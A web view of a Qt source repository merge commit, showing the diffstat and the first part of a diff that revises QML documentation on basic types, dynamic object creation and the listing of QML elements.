summaryrefslogtreecommitdiffstats
path: root/doc/src
diff options
context:
space:
mode:
authorDavid Boddie <david.boddie@nokia.com>2011-03-10 17:15:24 (GMT)
committerDavid Boddie <david.boddie@nokia.com>2011-03-10 17:15:24 (GMT)
commit17e19884dd3da255af0467d095076769fc7f480b (patch)
treee5ab38d700a02b6e25b521e24f08168b61021936 /doc/src
parent105329d83c609a4a13a21a2381e114d0418ce88e (diff)
parent5c36cc0ba648d5efa7592e86d49b23086cdbb8ff (diff)
downloadQt-17e19884dd3da255af0467d095076769fc7f480b.zip
Qt-17e19884dd3da255af0467d095076769fc7f480b.tar.gz
Qt-17e19884dd3da255af0467d095076769fc7f480b.tar.bz2
Merge branch 'master' of scm.dev.nokia.troll.no:qt/qt
Diffstat (limited to 'doc/src')
-rw-r--r--doc/src/declarative/advtutorial.qdoc3
-rw-r--r--doc/src/declarative/anchor-layout.qdoc2
-rw-r--r--doc/src/declarative/basictypes.qdoc204
-rw-r--r--doc/src/declarative/declarativeui.qdoc2
-rw-r--r--doc/src/declarative/dynamicobjects.qdoc20
-rw-r--r--doc/src/declarative/elements.qdoc269
-rw-r--r--doc/src/declarative/example-slideswitch.qdoc12
-rw-r--r--doc/src/declarative/examples.qdoc3
-rw-r--r--doc/src/declarative/extending.qdoc104
-rw-r--r--doc/src/declarative/globalobject.qdoc11
-rw-r--r--doc/src/declarative/javascriptblocks.qdoc42
-rw-r--r--doc/src/declarative/modules.qdoc196
-rw-r--r--doc/src/declarative/positioners.qdoc32
-rw-r--r--doc/src/declarative/propertybinding.qdoc103
-rw-r--r--doc/src/declarative/qdeclarativeintro.qdoc78
-rw-r--r--doc/src/declarative/qdeclarativemodels.qdoc12
-rw-r--r--doc/src/declarative/qdeclarativesecurity.qdoc6
-rw-r--r--doc/src/declarative/qdeclarativestates.qdoc37
-rw-r--r--doc/src/declarative/qml-intro.qdoc16
-rw-r--r--doc/src/declarative/qmlinuse.qdoc30
-rw-r--r--doc/src/declarative/qmlviewer.qdoc3
-rw-r--r--doc/src/declarative/qtdeclarative.qdoc21
-rw-r--r--doc/src/declarative/qtprogrammers.qdoc2
-rw-r--r--doc/src/declarative/tutorial.qdoc4
-rw-r--r--doc/src/declarative/whatsnew.qdoc111
-rw-r--r--doc/src/demos/mediaplayer.qdoc2
-rw-r--r--doc/src/deployment/deployment.qdoc4
-rw-r--r--doc/src/development/developing-with-qt.qdoc8
-rw-r--r--doc/src/development/qmake-manual.qdoc571
-rw-r--r--doc/src/development/qtestlib.qdoc2
-rw-r--r--doc/src/examples/audiodevices.qdoc2
-rw-r--r--doc/src/examples/audioinput.qdoc2
-rw-r--r--doc/src/examples/audiooutput.qdoc2
-rw-r--r--doc/src/examples/basicgraphicslayouts.qdoc8
-rw-r--r--doc/src/examples/combowidgetmapper.qdoc2
-rw-r--r--doc/src/examples/concentriccircles.qdoc2
-rw-r--r--doc/src/examples/drilldown.qdoc2
-rw-r--r--doc/src/examples/elasticnodes.qdoc14
-rw-r--r--doc/src/examples/fancybrowser.qdoc4
-rw-r--r--doc/src/examples/qml-examples.qdoc22
-rw-r--r--doc/src/examples/qml-folderlistmodel.qdoc7
-rw-r--r--doc/src/examples/svgalib.qdoc5
-rw-r--r--doc/src/examples/textfinder.qdoc2
-rw-r--r--doc/src/external-resources.qdoc5
-rw-r--r--doc/src/frameworks-technologies/plugins-howto.qdoc9
-rw-r--r--doc/src/frameworks-technologies/richtext.qdoc1
-rw-r--r--doc/src/getting-started/examples.qdoc6
-rw-r--r--doc/src/getting-started/gettingstarted.qdoc2
-rw-r--r--doc/src/getting-started/gettingstartedqml.qdoc2
-rw-r--r--doc/src/getting-started/how-to-learn-qt.qdoc4
-rw-r--r--doc/src/getting-started/installation.qdoc321
-rw-r--r--doc/src/howtos/HWacceleration.qdoc12
-rw-r--r--doc/src/howtos/restoring-geometry.qdoc2
-rw-r--r--doc/src/howtos/sharedlibrary.qdoc2
-rwxr-xr-xdoc/src/images/audiodevices-example.pngbin0 -> 25856 bytes
-rw-r--r--doc/src/images/audioinput-example.pngbin0 -> 10383 bytes
-rwxr-xr-xdoc/src/images/audiooutput-example.pngbin0 -> 11966 bytes
-rw-r--r--doc/src/images/combowidgetmapper-example.png (renamed from doc/src/images/combo-widget-mapper.png)bin10801 -> 10801 bytes
-rw-r--r--doc/src/images/declarative-colors.pngbin0 -> 4993 bytes
-rwxr-xr-xdoc/src/images/modelview-combobox.png (renamed from doc/src/images/combobox.png)bin5022 -> 5022 bytes
-rwxr-xr-xdoc/src/images/modelview-header.png (renamed from doc/src/images/header.png)bin30302 -> 30302 bytes
-rw-r--r--doc/src/images/qmediaplayer-demo.png (renamed from doc/src/images/mediaplayer-demo.png)bin12868 -> 12868 bytes
-rw-r--r--doc/src/images/qml-positioners-layoutdirection-example.pngbin0 -> 13019 bytes
-rw-r--r--doc/src/images/roaming-states.pngbin0 -> 9527 bytes
-rw-r--r--doc/src/index.qdoc166
-rw-r--r--doc/src/internationalization/linguist-manual.qdoc28
-rw-r--r--doc/src/legal/3rdparty.qdoc12
-rw-r--r--doc/src/legal/commercialeditions.qdoc39
-rw-r--r--doc/src/modules.qdoc4
-rw-r--r--doc/src/overviews.qdoc8
-rw-r--r--doc/src/painting-and-printing/coordsys.qdoc1
-rw-r--r--doc/src/platforms/emb-accel.qdoc4
-rw-r--r--doc/src/platforms/emb-qvfb.qdoc1
-rw-r--r--doc/src/platforms/platform-notes-rtos.qdoc109
-rw-r--r--doc/src/platforms/platform-notes.qdoc6
-rw-r--r--doc/src/porting/porting4-modifiedvirtual.qdocinc2
-rw-r--r--doc/src/porting/porting4.qdoc2
-rw-r--r--doc/src/qt-webpages.qdoc5
-rw-r--r--doc/src/qt4-intro.qdoc4
-rw-r--r--doc/src/snippets/code/doc_src_installation.qdoc7
-rw-r--r--doc/src/snippets/code/doc_src_lgpl.qdoc20
-rw-r--r--doc/src/snippets/code/doc_src_qmake-manual.qdoc12
-rw-r--r--doc/src/snippets/code/doc_src_stylesheet.qdoc2
-rw-r--r--doc/src/snippets/code/src_corelib_concurrent_qtconcurrentrun.cpp2
-rw-r--r--doc/src/snippets/declarative/application.qml53
-rw-r--r--doc/src/snippets/declarative/colors.qml125
-rw-r--r--doc/src/snippets/declarative/componentCreation.js13
-rw-r--r--doc/src/snippets/declarative/focus/focusColumn.qml2
-rw-r--r--doc/src/snippets/declarative/folderlistmodel.qml12
-rw-r--r--doc/src/snippets/declarative/mousearea/mousearea.qml116
-rw-r--r--doc/src/snippets/declarative/pics/checker.svg17
-rw-r--r--doc/src/snippets/declarative/propertyaction-sequential.qml72
-rw-r--r--doc/src/snippets/declarative/propertyaction.qml62
-rw-r--r--doc/src/snippets/declarative/propertyanimation.qml24
-rw-r--r--doc/src/snippets/declarative/script.js5
-rw-r--r--doc/src/snippets/declarative/states/statechangescript.qml61
-rw-r--r--doc/src/snippets/declarative/transition-from-to-modified.qml60
-rw-r--r--doc/src/snippets/declarative/transition-from-to.qml2
-rw-r--r--doc/src/snippets/declarative/transition-reversible.qml2
-rw-r--r--doc/src/snippets/declarative/transitions-list.qml89
-rw-r--r--doc/src/snippets/declarative/webview/webview.qml51
-rw-r--r--doc/src/snippets/qabstractsliderisnippet.cpp2
-rw-r--r--doc/src/snippets/qmake/spaces.pro8
-rw-r--r--doc/src/snippets/qstring/main.cpp382
-rw-r--r--doc/src/sql-programming/sql-driver.qdoc4
-rw-r--r--doc/src/template/style/narrow.css14
-rw-r--r--doc/src/template/style/offline.css672
-rwxr-xr-xdoc/src/template/style/style.css1190
-rw-r--r--doc/src/template/style/superfish.css44
-rw-r--r--doc/src/tutorials/addressbook.qdoc2
-rw-r--r--doc/src/tutorials/modelview.qdoc6
-rw-r--r--doc/src/widgets-and-layouts/stylesheet.qdoc66
-rw-r--r--doc/src/windows-and-dialogs/mainwindow.qdoc2
-rw-r--r--doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc4
114 files changed, 3977 insertions, 1969 deletions
diff --git a/doc/src/declarative/advtutorial.qdoc b/doc/src/declarative/advtutorial.qdoc
index 6cd1f22..263c78b 100644
--- a/doc/src/declarative/advtutorial.qdoc
+++ b/doc/src/declarative/advtutorial.qdoc
@@ -41,7 +41,7 @@ included in the declarative \c demos directory, which looks like this:
\image declarative-samegame.png
We will cover concepts for producing a fully functioning application, including
-JavaScript integration, using QML \l States and \l {Behavior}{Behaviors} to
+JavaScript integration, using QML \l{State}{States} and \l{Behavior}{Behaviors} to
manage components and enhance your interface, and storing persistent application data.
An understanding of JavaScript is helpful to understand parts of this tutorial, but if you don't
@@ -462,5 +462,4 @@ By following this tutorial you've seen how you can write a fully functional appl
There is so much more to learn about QML that we haven't been able to cover in this tutorial. Check out all the
demos and examples and the \l {Qt Quick}{documentation} to see all the things you can do with QML!
-
*/
diff --git a/doc/src/declarative/anchor-layout.qdoc b/doc/src/declarative/anchor-layout.qdoc
index 941acfe..0655fdb 100644
--- a/doc/src/declarative/anchor-layout.qdoc
+++ b/doc/src/declarative/anchor-layout.qdoc
@@ -28,7 +28,7 @@
/*!
\page qml-anchor-layout.html
\target anchor-layout
-\title Anchor-based Layout in QML
+\title Anchor-Based Layout in QML
\section1 Overview
diff --git a/doc/src/declarative/basictypes.qdoc b/doc/src/declarative/basictypes.qdoc
index 463e4a3..8503f4e 100644
--- a/doc/src/declarative/basictypes.qdoc
+++ b/doc/src/declarative/basictypes.qdoc
@@ -174,13 +174,10 @@
transparent blue to a quad of \c "#800000FF".
Example:
- \qml
- Rectangle { color: "steelblue" }
- Rectangle { color: "transparent" }
- Rectangle { color: "#FF0000" }
- Rectangle { color: "#800000FF" }
- Rectangle { color: "#00000000" } // ARGB fully transparent
- \endqml
+ \div{float-right}
+ \inlineimage declarative-colors.png
+ \enddiv
+ \snippet doc/src/snippets/declarative/colors.qml colors
Or with the \l{QML:Qt::rgba()}{Qt.rgba()}, \l{QML:Qt::hsla()}{Qt.hsla()}, \l{QML:Qt::darker()}{Qt.darker()},
\l{QML:Qt::lighter()}{Qt.lighter()} or \l{QML:Qt::tint()}{Qt.tint()} functions:
@@ -361,9 +358,11 @@
Actions are used like this:
\qml
- MouseArea { onClicked: myaction.trigger() }
- State { name: "enabled"; when: myaction.enabled == true }
- Text { text: someaction.text }
+ Item {
+ MouseArea { onClicked: myaction.trigger() }
+ State { name: "enabled"; when: myaction.enabled == true }
+ Text { text: someaction.text }
+ }
\endqml
\sa {QML Basic Types}
@@ -400,14 +399,11 @@
\c child1, \c child2 and \c child3 will be added to the children list
in the order in which they appear.
- List \l {Adding Properties}{properties} can be created as a
- \c variant type, or as a \c list<Type> type, where \c Type is the
- type of the object in the list:
+ List \l {Adding Properties}{properties} can be declared as \c list<Type>
+ type, where \c Type is the type of the object in the list:
\qml
Item {
- property variant values: [ 10, 20, 'abc', 'xyz' ]
-
property list<Rectangle> rects: [
Rectangle { width: 100; height: 100},
Rectangle { width: 200; height: 200}
@@ -415,136 +411,124 @@
}
\endqml
- A \c variant list can contain values of any of the \l {QML Basic Types}{basic QML types}
- such as numbers, strings, etc. while a \c list<Type> list can only contain values
- that match (or are derived from) the specified \c Type.
+ A list property can only contain values that match (or are derived from) the
+ specified \c Type.
- A list property can be cleared by setting it to an empty list:
+ While the \c rects property can be reassigned to a different list value (including
+ an empty list), its individual values cannot be modified. See the \l variant type
+ documentation for details.
- \qml
- Item {
- children: []
- }
- \endqml
+ \sa {QML Basic Types}
+*/
- A list property cannot be modified in any other way. Items cannot be dynamically added to
- or removed from the list through JavaScript operations; any \c push() operations on the
- list only modify a \e copy of the list and not the actual list. (These current limitations
- are due to restrictions on \l {Property Binding} where lists are involved.)
+/*!
+ \qmlbasictype variant
+ \ingroup qmlbasictypes
- You can, however, modify a copy of the list and then reassign the property to the modified
- value. Other options are to create an array object from within a \c .js JavaScript file,
- or implement a custom list element in C++. Here is a QML element that modifies the list in a
- JavaScript file:
+ \brief A variant type is a generic property type.
- \table
- \row
- \o
- \qml
- // QML
- import "script.js" as Script
+ A variant is a generic property type. A variant type property can hold
+ any of the \l {QML Basic Types}{basic type} values:
+ \qml
Item {
- Component.onCompleted: {
- Script.addItem('abc')
- console.log("Added:", Script.getList()[0])
- }
+ property variant aNumber: 100
+ property variant aString: "Hello world!"
+ property variant aBool: false
}
\endqml
- \o
- \code
- // script.js
- var myArray = new Array()
-
- function getList() {
- return myArray
- }
-
- function addItem(item) {
- myArray.push(item)
- }
- \endcode
- \endtable
+ The \c variant type can also hold:
- However, note that a JavaScript list should not be used as a QML \c property value,
- as the property is not updated when the list changes.
+ \list
+ \o An array of \l {QML Basic Types}{basic type} values
+ \o A map of key-value pairs with \l {QML Basic Types}{basic-type} values
+ \endlist
- \sa {QML Basic Types}
-*/
+ For example, below is an \c items array and an \c attributes map. Their
+ contents can be examined using JavaScript \c for loops. Individual array
+ values are accessible by index, and individual map values are accessible
+ by key:
+ \qml
+ Item {
+ property variant items: [1, 2, 3, "four", "five"]
+ property variant attributes: { 'color': 'red', 'width': 100 }
-/*!
- \qmlbasictype variant
- \ingroup qmlbasictypes
+ Component.onCompleted: {
+ for (var i=0; i<items.length; i++)
+ console.log(items[i])
- \brief A variant type is a generic property type.
+ for (var prop in attributes)
+ console.log(prop, "=", attributes[prop])
+ }
+ }
+ \endqml
- A variant is a generic property type. A variant type property can hold any of the
- \l {QML Basic Types}{basic type} values:
+ While this is a convenient way to store array and map-type values, you
+ must be aware that the \c items and \c attributes properties above are \e not
+ QML objects (and certainly not JavaScript object either) and the key-value
+ pairs in \c attributes are \e not QML properties. Rather, the \c items
+ property holds an array of values, and \c attributes holds a set of key-value
+ pairs. Since they are stored as a set of values, instead of as an object,
+ their contents \e cannot be modified individually:
\qml
Item {
- property variant aNumber : 100
- property variant aString : "Hello world!"
- property variant aList : [ 1, 2, "buckle my shoe" ]
+ property variant items: [1, 2, 3, "four", "five"]
+ property variant attributes: { 'color': 'red', 'width': 100 }
+
+ Component.onCompleted: {
+ items[0] = 10
+ console.log(items[0]) // This will still be '1'!
+ attributes.color = 'blue'
+ console.log(attributes.color) // This will still be 'red'!
+ }
}
\endqml
- The \c variant type can also hold a \e copy of a JavaScript object. For example, the
- \c animal property below defines a JavaScript object defined with JSON notation. The
- object's properties and values can be examined using the standard JavaScript syntax,
- as shown in the \c Component.onCompleted handler.
+ Additionally, since \c items and \c attributes are not QML objects, changing
+ their individual values do not trigger property change notifications. If
+ the above example had \c onNumberChanged or \c onAnimalChanged signal
+ handlers, they would not have been called. If, however, the \c items or
+ \c attributes properties themselves were reassigned to different values, then
+ such handlers would be called.
+
+ One way to "update" the contents of an array or map is to copy the property
+ to a JavaScript object, modify the copy as desired, and then reassign the
+ property to the updated copy. Note, however, that this is not efficient.
+ In the example below, which reassigns the \c attributes property, the \e entire
+ set of key-value pairs must be serialized and deserialized every time it is
+ copied between a JavaScript object and a QML property:
\qml
Item {
- property variant animal : { 'type': 'bird', 'species': 'galah', 'age': 7 }
+ property variant attributes: { ''color': 'red', 'width': 100 }
Component.onCompleted: {
- for (var attribute in animal)
- console.log(attribute, "=", animal[attribute])
+ // Change the value of attributes.color to 'blue':
+ var temp = attributes // copy all values to 'temp'
+ temp.color = 'blue'
+ attributes = temp // copy all values back to 'attributes'
}
}
\endqml
- It must be noted that the \c animal property holds a \e copy of the defined object, and
- not the object itself. (This is true even if the property refers to an object defined in
- some JavaScript file; the property will hold a copy of the object, and not the actual
- object.) The property essentially holds a copy of the contents within the object. This
- has several implications:
+ Since this operation is inefficient, if a list or map should be modifiable,
+ it is better to use alternative approaches. For example, you could implement
+ a custom C++ list element, or write to a JavaScript object defined from
+ within a JavaScript file.
- \list
- \o Changes to any of the property's values (for example, the \c animal.type value
- above) only modify the \e copy of the object, not the object itself. You can, however,
- modify a copy of the object and then reassign the property to the modified value.
- \o Because the property only holds a copy of the object, \l{Property Binding}{bindings} to
- any of the property's individual values are not updated until the whole property is
- reassigned to a new value. For example:
-
- \qml
- Item {
- property variant animal : { 'type': 'bird', 'species': 'galah', 'age': 7 }
-
- Text { text: "Animal species: " + animal.species }
-
- Component.onCompleted: {
- animal.species = 'kookaburra' // this has no effect on the displayed text
-
- var newObj = animal
- newObj.species = 'kookaburra'
- animal = newObj // this will update the displayed text
- }
- }
- \endqml
- \o Since the object values are copied, it does not hold any reference to the original
- object, and extra data such as the object's JavaScript prototype chain is lost in the
- process.
- \endlist
+ JavaScript programmers should also note that when a JavaScript object is
+ copied to an array or map property, the \e contents of the object (that is,
+ its key-value properties) are copied, rather than the object itself. The
+ property does not hold a reference to the original JavaScript object, and
+ extra data such as the object's JavaScript prototype chain is also lost in
+ the process.
\sa {QML Basic Types}
*/
-
/*!
\qmlbasictype vector3d
\ingroup qmlbasictypes
@@ -582,7 +566,7 @@
An enumeration type consists of a set of named values.
- An enumeration value may be specifed as either a string:
+ An enumeration value may be specified as either a string:
\qml
Text { horizontalAlignment: "AlignRight" }
\endqml
diff --git a/doc/src/declarative/declarativeui.qdoc b/doc/src/declarative/declarativeui.qdoc
index 491e499..aa9ed18 100644
--- a/doc/src/declarative/declarativeui.qdoc
+++ b/doc/src/declarative/declarativeui.qdoc
@@ -91,7 +91,7 @@ Module.
\list
\o \l{QML Documents}
\o \l{Property Binding}
-\o \l{Anchor-based Layout in QML}
+\o \l{Anchor-Based Layout in QML}
\o \l{Writing QML Components: Properties, Methods and Signals}
\o \l{QML Scope}
\o \l{QML Modules}
diff --git a/doc/src/declarative/dynamicobjects.qdoc b/doc/src/declarative/dynamicobjects.qdoc
index 073e0c4..f2ca0fd 100644
--- a/doc/src/declarative/dynamicobjects.qdoc
+++ b/doc/src/declarative/dynamicobjects.qdoc
@@ -62,10 +62,18 @@ To dynamically load a component defined in a QML file, call the
This function takes the URL of the QML file as its only argument and creates
a \l Component object from this URL.
-Once you have a \l Component, you can call its \l {Component::createObject()}{createObject()} method to create an instance of
-the component. This function takes exactly one argument, which is the parent for the new item. Since graphical items will
-not appear on the scene without a parent, it is recommended that you set the parent this way. However, if you wish to set
-the parent later you can safely pass \c null to this function.
+Once you have a \l Component, you can call its \l {Component::createObject()}{createObject()} method to create an instance of
+the component. This function can take one or two arguments:
+\list
+\o The first is the parent for the new item. Since graphical items will not appear on the scene without a parent, it is
+ recommended that you set the parent this way. However, if you wish to set the parent later you can safely pass \c null to
+ this function.
+\o The second is optional and is a map of property-value items that define initial any property values for the item.
+ Property values specified by this argument are applied to the object before its creation is finalized, avoiding
+ binding errors that may occur if particular properties must be initialized to enable other property bindings.
+ when certain properties have been bound to before they have been set by the code. Additionally, there are small
+ performance benefits when compared to defining property values and bindings after the object is created.
+\endlist
Here is an example. First there is \c Sprite.qml, which defines a simple QML component:
@@ -184,7 +192,9 @@ Note also that if a \c SelfDestroyingRect instance was created statically like t
\qml
Item {
- SelfDestroyingRect { ... }
+ SelfDestroyingRect {
+ // ...
+ }
}
\endqml
diff --git a/doc/src/declarative/elements.qdoc b/doc/src/declarative/elements.qdoc
index 40d67e7..e2d9350 100644
--- a/doc/src/declarative/elements.qdoc
+++ b/doc/src/declarative/elements.qdoc
@@ -29,118 +29,161 @@
\page qdeclarativeelements.html
\target elements
\title QML Elements
- \brief A dictionary of standard QML elements.
-
- This is a dictionary of all standard QML elements made available
- in the Qt Declarative module.
-
- To see the QML elements listed by functional area, see the
- \l{Groups Of Related QML Elements} page.
-
- \table
- \header \o {2,1} \bold {Basic Visual Items}
- \row \o \l {Item} \o Basic item element inherited by all visual items in QML
- \row \o \l {Rectangle} \o Basic visual rectangle element
- \row \o \l {Gradient} \o Defines a gradient between two or more colors
- \row \o \l {GradientStop} \o Defines a color used in a \l {Gradient}
- \row \o \l {Image} \o Allows the use of bitmaps to a scene
- \row \o \l {BorderImage} (Item-specific) \o Defines an image as a border
- \row \o \l {AnimatedImage} \o For playing animations stored as a series of frames
- \row \o \l {Text} \o Allows the use of formatted text in a scene
- \row \o \l {TextInput} \o Displays an editable line of text
- \row \o \l {IntValidator} \o Validator for integer values
- \row \o \l {DoubleValidator} \o Validator for non-integer values
- \row \o \l {RegExpValidator} \o Validator for string regular expressions
- \row \o \l {TextEdit} \o Displays multiple lines of editable formatted text
-
- \header \o {2,1} \bold {Basic Interaction Items}
- \row \o \l {MouseArea} \o Handles mouse interactions
- \row \o \l {FocusScope} \o For keyboard focus handling
- \row \o \l {Flickable} \o Provides a surface that can be "flicked"
- \row \o \l {Flipable} \o Provides a surface that produces flipping effects
- \row \o \l {GestureArea} (experimental) \o Enables simple gesture handling
-
- \header \o {2,1} \bold {States}
- \row \o \l {State} \o Defines sets of configurations of objects and properties
- \row \o \l {PropertyChanges} \o Describes property changes within a state
- \row \o \l {StateGroup} \o Contains a set of states and state transitions
- \row \o \l {StateChangeScript} \o Allows script binding in a state
- \row \o \l {ParentChange} (Item-specific) \o Re-parent an Item in a state change
- \row \o \l {AnchorChanges} \o Change the anchors of an item in a state
-
- \header \o {2,1} \bold {Animation and Transitions}
- \row \o \l {Behavior} \o Specifies a default animation for property changes
- \row \o \l {SequentialAnimation} \o Runs animations sequentially
- \row \o \l {ParallelAnimation} \o Runs animations in parallel
- \row \o \l {PropertyAnimation} \o Animates property changes
- \row \o \l {NumberAnimation} \o Animates properties of type qreal
- \row \o \l {Vector3dAnimation} \o Animates properties of type QVector3d
- \row \o \l {ColorAnimation} \o Animates color changes
- \row \o \l {RotationAnimation} \o Animates rotations
- \row \o \l {ParentAnimation} \o Animates parent changes
- \row \o \l {AnchorAnimation} \o Animates anchor changes
- \row \o \l {PauseAnimation} \o Pauses an animation
- \row \o \l {SmoothedAnimation} \o Allows a property to smoothly track a value
- \row \o \l {SpringAnimation} \o Allows a property to track a value in a spring-like motion
- \row \o \l {PropertyAction} \o Sets immediate property changes during animation
- \row \o \l {ScriptAction} \o Runs scripts during an animation
- \row \o \l {Transition} \o Animates transitions during state changes
-
- \header \o {2,1} \bold {Working with Data}
- \row \o \l {Binding} \o Binds any value to any property
- \row \o \l {ListModel} \o Defines a list of data
- \row \o \l {ListElement} \o Defines a data item in a \l {ListModel}
- \row \o \l {VisualItemModel} \o Contains items that already defines its own visual delegate
- \row \o \l {VisualDataModel} \o Encapsulates a model and a delegate
- \row \o \l {Package} \o Collection that enables sharing of items within different views
- \row \o \l {XmlListModel} \o Specifies a model using XPath expressions
- \row \o \l {XmlRole} \o Specifies a role for an \l {XmlListModel}
-
- \header \o {2,1} \bold {Views}
- \row \o \l {ListView} \o Provides a list visualization of a model
- \row \o \l {GridView} \o Provides a grid visualization of a model
- \row \o \l {PathView} \o Visualizes a model's contents along a path
- \row \o \l {Path} \o Defines a path used by \l {PathView}
- \row \o \l {PathLine} \o Defines a line in \l {Path}
- \row \o \l {PathQuad} \o Defines a quadratic Bezier curve in a \l {Path}
- \row \o \l {PathCubic} \o Defines a cubic Bezier curve in a \l {Path}
- \row \o \l {PathAttribute} \o Allows the setting of attributes along a \l {Path}
- \row \o \l {PathPercent} \o Modifies the item distribution along a \l {Path}
- \row \o \l {WebView} \o Allows the addition of web content to a canvas
-
- \header \o {2,1} \bold {Positioners}
- \row \o \l {Column} \o Arranges its children vertically
- \row \o \l {Row} \o Arranges its children horizontally
- \row \o \l {Grid} \o Positions its children in a grid
- \row \o \l {Flow} \o Positions its children with wrapping support
-
- \header \o {2,1} \bold {Utility}
- \row \o \l {Connections} \o Explicitly connects signals and signal handlers
- \row \o \l {Component} \o Encapsulate QML items as a component
- \row \o \l {Timer} \o Provides timed triggers
- \row \o \l {QML:QtObject} {QtObject} \o Basic element containing only the objectName property
- \row \o \l {QML:Qt} {Qt} \o The QML global Qt object provides useful enums and functions from Qt.
- \row \o \l {WorkerScript} \o Enables the use of threads in QML
- \row \o \l {Loader} \o Controls the loading of items or components
- \row \o \l {Repeater} \o Uses a model to create multiples of components
- \row \o \l {SystemPalette} \o Provides access to the Qt palettes
- \row \o \l {FontLoader} \o Loads fonts by name or URL
- \row \o \l {LayoutItem} \o Allows declarative UI elements inside Qt's Graphics View layouts
-
- \header \o {2,1} \bold {Transforms}
- \row \o \l {Scale} \o Assigns item scaling behaviors
- \row \o \l {Rotation} \o Assigns item rotation behaviors
- \row \o \l {Translate} \o Assigns item translation behaviors
-
- \header \o {2,1} \bold {Effects}
- \row \o \l {Particles} (experimental) \o Generates and animates particles
- \row \o \l {ParticleMotionLinear} \o Adds linear motion behavior to \l {Particles}
- \row \o \l {ParticleMotionGravity} \o Adds gravitational motion to \l {Particles}
- \row \o \l {ParticleMotionWander} \o Adds varied motions to \l {Particles}
- \endtable
-
-
-
+ \brief A listing of standard QML elements.
+
+These are the functionally grouped lists of QML elements.
+
+Elements are declared with the their name and two curly braces. Elements may
+be nested in elements, thereby creating a parent-child relationship between the
+two elements.
+
+To see the QML elements listed by functional area, see the
+\l{Groups Of Related QML Elements} page.
+
+\section1 Basic QML Elements
+\list
+\o \l {Item} - Basic item element inherited by QML elements
+\o \l {Component} - Encapsulates QML elements during importing
+\o \l {QML:QtObject} {QtObject} - Basic element containing only the objectName property
+\endlist
+
+\section1 Graphics
+\list
+\o \l {Rectangle} - A rectangle element
+\o \l {Image} - For incorporating bitmaps into a scene
+\o \l {BorderImage} - Allows the use of images as borders
+\o \l {AnimatedImage} - For playing animations stored in a series of frames
+\o \l {Gradient} - For defining a color gradient
+\o \l {GradientStop} - Used to define a color within a \l {Gradient}
+\o \l {SystemPalette} - Provides access to the Qt palettes
+\endlist
+
+\section1 Text Handling
+\list
+\o \l {Text} - For inserting formatted text into a scene
+\o \l {TextInput} - Captures user key input
+\o \l {TextEdit} - Displays multiple lines of editable formatted text
+\o \l {IntValidator} - Validates values as integers
+\o \l {DoubleValidator} - Validates real values
+\o \l {RegExpValidator} - Validator for string regular expressions
+\o \l {FontLoader} - Loads fonts by name or URL
+\endlist
+
+\section1 Mouse and Interaction Area
+\list
+\o \l {MouseArea} - Sets up an area for mouse interaction
+\o \l {Keys} - Provides components with attached properties to handle key input.
+\o \l {FocusScope} - Element that mediate keyboard focus changes
+\o \l {Flickable} - Provides a surface that can be "flicked"
+\o \l {Flipable} - Provides a surface that produces "flipping" effects
+\o \l {PinchArea} - Enables simple pinch gesture handling
+\endlist
+
+\section1 Positioners and Repeater
+\list
+\o \l {Column} - Arranges its children vertically
+\o \l {Row} - Arranges its children horizontally
+\o \l {Grid} - Positions its children in a grid
+\o \l {Flow} - Positions its children with wrapping support
+\o \l {Repeater} - Uses a model to create multiple components
+\endlist
+
+\section1 Transformations
+\list
+\o \l {Scale} - Assigns item scaling behaviors
+\o \l {Rotation} - Assigns item rotation behaviors
+\o \l {Translate} - Assigns item translation behaviors
+\endlist
+
+\section1 States
+\list
+\o \l {State} - Defines sets of configurations of objects and properties
+\o \l {PropertyChanges} - Describes property changes within a state
+\o \l {StateGroup} - Contains a set of states and state transitions
+\o \l {StateChangeScript} - Allows script binding in a state
+\o \l {ParentChange} - Re-parent an Item in a state change
+\o \l {AnchorChanges} - Change the anchors of an item in a state
+\endlist
+
+\section1 Animation and Transitions
+\list
+\o \l {Transition} - Animates transitions during state changes
+\o \l {SequentialAnimation} - Runs animations sequentially
+\o \l {ParallelAnimation} - Runs animations in parallel
+\o \l {Behavior} - Specifies a default animation for property changes
+\o \l {PropertyAction} - Sets immediate property changes during animation
+\o \l {PauseAnimation} - Introduces a pause in an animation
+\o \l {SmoothedAnimation} - Allows a property to smoothly track a value
+\o \l {SpringAnimation} - Allows a property to track a value in a spring-like motion
+\o \l {ScriptAction} - Runs scripts during an animation
+\endlist
+
+Elements that animate properties based on data types
+\list
+\o \l {PropertyAnimation} - Animates property changes
+\o \l {NumberAnimation} - Animates properties of type qreal
+\o \l {Vector3dAnimation} - Animates properties of type QVector3d
+\o \l {ColorAnimation} - Animates color changes
+\o \l {RotationAnimation} - Animates rotations
+\o \l {ParentAnimation} - Animates parent changes
+\o \l {AnchorAnimation} - Animates anchor changes
+\endlist
+
+\section1 Models and Data Handling
+\list
+\o \l {ListModel} - Defines a list of data
+\o \l {ListElement} - Defines a data item in a \l {ListModel}
+\o \l {VisualItemModel} - Contains items that already defines its own visual delegate
+\o \l {VisualDataModel} - Encapsulates a model and a delegate
+\o \l {XmlListModel} - Specifies a model using XPath expressions
+\o \l {XmlRole} - Specifies a role for an \l {XmlListModel}
+\o \l {Binding} - Binds any value to any property
+\o \l {Package} - Collection that enables sharing of items within different views
+\endlist
+
+\section1 Views
+\list
+\o \l {ListView} - Provides a list visualization of a model
+\o \l {GridView} - Provides a grid visualization of a model
+\o \l {PathView} - Visualizes a model's contents along a path. See \l {Path Definition}{Path Elements} for more information.
+\endlist
+
+\section1 Path Definition
+\list
+\o \l {Path} - Defines a path used by \l {PathView}
+\o \l {PathLine} - Defines a line in \l {Path}
+\o \l {PathQuad} - Defines a quadratic Bezier curve in a \l {Path}
+\o \l {PathCubic} - Defines a cubic Bezier curve in a \l {Path}
+\o \l {PathAttribute} - Allows the setting of attributes along a \l {Path}
+\o \l {PathPercent} - Modifies the item distribution along a \l {Path}
+\endlist
+
+\section1 Utility
+\list
+\o \l {Connections} - Explicitly connects signals and signal handlers
+\o \l {Timer} - Provides timed triggers
+\o \l {QML:Qt} {Qt} - The QML global Qt object provides useful enums and functions from Qt.
+\o \l {WorkerScript} - Enables the use of threads in QML
+\o \l {Loader} - Controls the loading of items or components
+\o \l {LayoutItem} - Allows declarative UI elements inside Qt's Graphics View layouts
+\endlist
+
+\section1 Graphical Effects
+\list
+\o \l {Particles} - Generates and animates particles
+\o \l {ParticleMotionLinear} - Adds linear motion behavior to \l {Particles}
+\o \l {ParticleMotionGravity} - Adds gravitational motion to \l {Particles}
+\o \l {ParticleMotionWander} - Adds varied motions to \l {Particles}
+\endlist
+
